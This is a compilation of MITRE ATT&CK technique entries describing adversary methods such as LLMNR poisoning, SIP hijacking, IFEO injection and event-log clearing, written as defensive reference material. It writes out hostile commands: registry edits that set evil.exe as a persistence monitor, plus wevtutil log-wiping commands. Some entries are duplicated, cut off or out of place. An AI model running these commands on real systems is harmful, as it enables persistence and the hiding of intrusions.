- Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)

Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)

## Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - T1048.003

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

# LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](<https://attack.mitre.org/techniques/T1040>) and crack the hashes offline through [Brute Force](<https://attack.mitre.org/techniques/T1110>) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](<https://attack.mitre.org/software/S0174>). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

## Match Legitimate Name or Location - T1036.005

Adversaries may match or approximate the name or location of legitimate files when naming/placing their files. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

## Disable or Modify System Firewall - T1562.004

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"*

## Disable or Modify Cloud Firewall - T1562.007

Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](<https://attack.mitre.org/techniques/T1562/004>).

Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may

introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)

Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

## SIP and Trust Provider Hijacking - T1553.003

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](<https://attack.mitre.org/techniques/T1116>), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}` that point to the dynamic link library (DLL) providing a SIP's `CryptSIPDllGetSignedDataMsg` function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash

mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).

- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE\{WOW6432Node}\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}` that point to the DLL providing a SIP's `CryptSIPDllVerifyIndirectData` function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned `CryptSIPDllGetSignedDataMsg` function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the `DLL` and `Function` Registry values in `HKLM\SOFTWARE\{WOW6432Node}\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}` that point to the DLL providing a trust provider's `FinalPolicy` function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's `CryptSIPDllVerifyIndirectData` function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

# Windows Management Instrumentation Event Subscription - T1546.003

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user logging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

# Executable Installer File Permissions Weakness - T1574.005

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced

binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `%TEMP%` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001>).

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](<https://attack.mitre.org/techniques/T1548/002>). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: mozilla\_sec\_adv\_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

## Path Interception by Unquoted Path - T1574.009

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `C:\unsafe path with space\program.exe` vs. `"C:\safe path with space\program.exe"`). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `C:\program files\myapp.exe`, an adversary may create a program at `C:\program.exe` that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

This technique can be used for persistence if executables are called on a regular basis, as well as

privilege escalation if intercepted executables are started by a higher privileged process.

## Image File Execution Options Injection - T1546.012

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe`). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as `Debugger` values in the Registry under `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable>` where `<executable>` is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit`. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

Similar to [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1021/001>) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), these values may also be

abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to [Impair Defenses](<https://attack.mitre.org/techniques/T1562>) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

## Exfiltration Over Other Network Medium - T1011

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network

## Network Traffic Capture or Redirection - T1410

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS

Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

## Data from Cloud Storage Object - T1530

Adversaries may access data objects from improperly secured cloud storage.

Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)

Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530"*

## Boot or Logon Initialization Scripts - T1037

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the

access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037"*

## Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

## Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., "C:\dbg\ntsd.exe -g notepad.exe"). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as `Debugger` values in the Registry under `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable>` where `<executable>` is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit`. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)

- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"`

Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation:

## SIP and Trust Provider Hijacking - T1198

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](<https://attack.mitre.org/techniques/T1116>), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}` that point to the dynamic link library (DLL) providing a SIP's `CryptSIPDllGetSignedDataMsg` function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}` that point to the DLL providing a SIP's `CryptSIPDllVerifyIndirectData` function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned `CryptSIPDllGetSignedDataMsg` function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the `DLL` and `Function` Registry values in `HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}` that point to the DLL providing a trust provider's `FinalPolicy` function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's `CryptSIPDllVerifyIndirectData` function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

## File and Directory Permissions Modification - T1222

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory's existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>), [Boot or Logon Initialization Scripts](<https://attack.mitre.org/techniques/T1037>), [.bash\_profile and .bashrc](<https://attack.mitre.org/techniques/T1546/004>), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](<https://attack.mitre.org/techniques/T1574>).

## SSL certificate acquisition for domain - T1337

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](<http://attack.mitre.org/matrices/enterprise/pre/>) matrix for its replacement. The prior content of this page has been preserved [here](<https://attack.mitre.org/versions/v7/techniques/T1337>).

Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](<https://www.wellsfargo.com/about/corporate/wachovia>)). ## Transfer Data to Cloud Account - T1537

Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)

## Boot or Logon Autostart Execution - T1547

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

## Install Insecure or Malicious Configuration - T1478

An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).

For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](<https://attack.mitre.org/techniques/T1439>) and [Manipulate Device Communication](<https://attack.mitre.org/techniques/T1463>)).

On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be

enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).

## Steal or Forge Kerberos Tickets - T1558

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](<https://attack.mitre.org/techniques/T1550/003>).

Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

## LLMNR/NBT-NS Poisoning and Relay - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](<https://attack.mitre.org/techniques/T1040>) and crack the hashes offline through [Brute Force](<https://attack.mitre.org/techniques/T1110>) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](<https://attack.mitre.org/software/S0174>). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)

## Clear Windows Event Logs - T1070.001

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event

Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

- `<code>wevtutil cl system</code>`
- `<code>wevtutil cl application</code>`
- `<code>wevtutil cl security</code>`

These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](<https://attack.mitre.org/techniques/T1059/001>).

## Network Share Connection Removal - T1070.005

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](<https://attack.mitre.org/techniques/T1077>) connections can be removed when no longer needed. [Net](<https://attack.mitre.org/software/S0039>) is an example utility that can be used to remove network share connections with the `<code>net use \\system\share /delete</code>` command. (Citation: Technet Net Use)

## Distributed Component Object Model - T1021.003

Adversaries may use [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application

programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

## Network Device Configuration Dump - T1602.002

Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and

its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.

## Indicator Removal from Tools - T1027.005

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

